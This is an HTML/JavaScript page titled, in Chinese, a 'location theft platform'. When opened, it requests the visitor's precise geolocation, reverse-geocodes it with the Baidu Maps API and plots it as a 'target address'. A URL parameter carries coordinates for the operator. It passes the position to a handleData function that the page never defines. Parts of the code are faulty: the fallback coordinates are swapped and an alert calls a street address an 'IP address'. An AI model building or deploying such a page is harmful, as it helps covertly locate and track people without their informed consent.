<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
    
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <meta name="viewport" content="initial-scale=1.0, user-scalable=no" />
    <style type="text/css">
        *{
            margin: 0;
            padding: 0;
        }
        body, html,#allmap {width: 100%;height: 100%;overflow: hidden;margin:0;font-family:"微软雅黑";}
        
        form{
            width: 90%;
            box-sizing: border-box;
            padding: 5px auto;
            position: fixed;
            top: 5px;
            left: 5%;
            border-radius: 5px;
            background: #3838382a;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 10px;

        }
        form input{
            font-size: 19px;
            background: rgb(242, 242, 242)fff;
        }
        form button{
            display: inline-block;
            width: 70px;
            height: 30px;
            font-size: 18px;
            background: #4099ff;
            color: #ffff;
            border: none;
            border-radius: 3px;

        }
    </style>
    <script>
        //bds
        //?bds=109.20322484263i23.70503258078
            let params1 = location.search.substr(1)//去除链接含参部分的问号 >> test=logo
            getBds = params1.split("=")[1]
            console.log("getBds: "+getBds)
    </script>
    <script type="text/javascript" src="http://api.map.baidu.com/api?type=webgl&v=1.0&ak=wfSQ0h69XGW0C375EDuFiUVnbwn8MWGk"></script>
    
    <script type="text/javascript" src="http://api.map.baidu.com/api?v=3.0&ak=wfSQ0h69XGW0C375EDuFiUVnbwn8MWGk"></script><title>信管帮位置窃取平台</title>
</head>
<body>
    <div id="allmap"></div>
    <form action="#">
        <input type="text" name="bds" id="bds">&nbsp;
        <button type="submit">查询</button>
    </form>
</body>
</html>
<script type="text/javascript">
    // 创建一个函数，主要功能是在调用html5的geolocation()前，先判断当前浏览器是否支持html5，（PC绝大部分浏览器不支持或者拒绝html5定位）
    function getLocation() {
        var options = {
            enableHighAccuracy: true,
            maximumAge: 1000
        };
        //alert('获取位置信息开始--------->');
        if (navigator.geolocation) {
            // 走到这里说明，浏览器支持geolocation，参数里有两个回调函数，一个是定位成功后的处理操作，一个是定位失败后的处理操作，另外一个参数没有研究过
            navigator.geolocation.getCurrentPosition(onSuccess, onError, options);
        } else {
            // 否则浏览器不支持geolocation
            alert('您的浏览器不支持地理位置定位！');
        }
    }

    // 成功时的回调函数
    // 第一步获取定位成功返回的经纬度数据，然后结合百度那边提供的接口进行具体位置的转换，最后还有一个数据提交的方法，要跟自己的业务操作了
    function onSuccess(position) {
    // 经度
    var longitude = position.coords.longitude;
    // 纬度
    var latitude = position.coords.latitude;


    var map = new BMap.Map("allmap");
        var point = new BMap.Point(longitude, latitude);
        var gc = new BMap.Geocoder();
        gc.getLocation(point, function (rs) {
            var addComp = rs.addressComponents;
            //alert("您的IP地址为: "+addComp.province + " " + addComp.city + " " + addComp.district + " " + addComp.street + " " + addComp.streetNumber);
            alert("您的IP地址为: "+addComp.province + "" + addComp.city + "" + addComp.district+ "" + addComp.street + "" + addComp.streetNumber);
        });

    

    // 百度地图API功能
    //GPS坐标
    var x = longitude;
    var y = latitude;
    var ggPoint = new BMapGL.Point(x,y);
    
    //地图初始化
    var bm = new BMapGL.Map("allmap");
    bm.centerAndZoom(new BMapGL.Point(x, y), 12);  // 初始化地图,设置中心点坐标和地图级别
	bm.enableScrollWheelZoom(true);     //开启鼠标滚轮缩放
    //bm.centerAndZoom(ggPoint, 15);
    //bm.addControl(new BMapGL.ZoomControl());
        /**/
    //添加gps marker和label
    //var markergg = new BMapGL.Marker(ggPoint);
    //bm.addOverlay(markergg); //添加GPS marker
    //var labelgg = new BMapGL.Label("未转换的GPS坐标（错误）",{offset:new BMapGL.Size(10, -10)});
   // markergg.setLabel(labelgg); //添加GPS label

    //坐标转换完之后的回调函数
    translateCallback = function (data){
      if(data.status === 0) {
        if(getBds == ""){
            var marker = new BMapGL.Marker(data.points[0]);
        }else{
            objbds = {lng:getBds.split('i')[0], lat:getBds.split('i')[1]}
            var marker = new BMapGL.Marker(objbds);
        }
        
        console.log("data.points[0]")
        console.log("data.points[0]")
        console.log("data.points[0]")
        console.log("data.points[0]")
        console.log(data.points[0])
        bm.addOverlay(marker);
        //var label = new BMapGL.Label("转换后的百度坐标（正确）",{offset:new BMapGL.Size(10, -10)});
        var label = new BMapGL.Label("目标地址",{offset:new BMapGL.Size(10, -10)});
        marker.setLabel(label); //添加百度label
        bm.setCenter(objbds);
      }
    }

    setTimeout(function(){
        var convertor = new BMapGL.Convertor();
        var pointArr = [];
        pointArr.push(ggPoint);
        convertor.translate(pointArr, COORDINATES_WGS84, COORDINATES_BD09, translateCallback)
    }, 1000);

    /**
     * 坐标常量说明：
     * COORDINATES_WGS84 = 1, WGS84坐标
     * COORDINATES_WGS84_MC = 2, WGS84的平面墨卡托坐标
     * COORDINATES_GCJ02 = 3，GCJ02坐标
     * COORDINATES_GCJ02_MC = 4, GCJ02的平面墨卡托坐标
     * COORDINATES_BD09 = 5, 百度bd09经纬度坐标
     * COORDINATES_BD09_MC = 6，百度bd09墨卡托坐标
     * COORDINATES_MAPBAR = 7，mapbar地图坐标
     * COORDINATES_51 = 8，51地图坐标
    */
    // 这里后面可以写你的后续操作了
    handleData(longitude, latitude);


}

// 失败时的回调函数
// 这里是错误提示信息
function onError(error) {
    switch (error.code) {
        case 1:
            alert("位置服务被拒绝！");
            break;
        case 2:
            alert("暂时获取不到位置信息！");
            break;
        case 3:
            alert("获取信息超时！");
            break;
        case 4:
            alert("未知错误！");
            break;
    }
    // 这里后面可以写你的后续操作了，下面的经纬度是天安门的具体位置
    // 经度
    var longitude = 39.9151;
    // 纬度
    var latitude = 116.4041;
    handleData(longitude, latitude);
}

// 页面载入时请求获取当前地理位置
window.onload = function () {
    // html5获取地理位置
    getLocation();
};
</script>
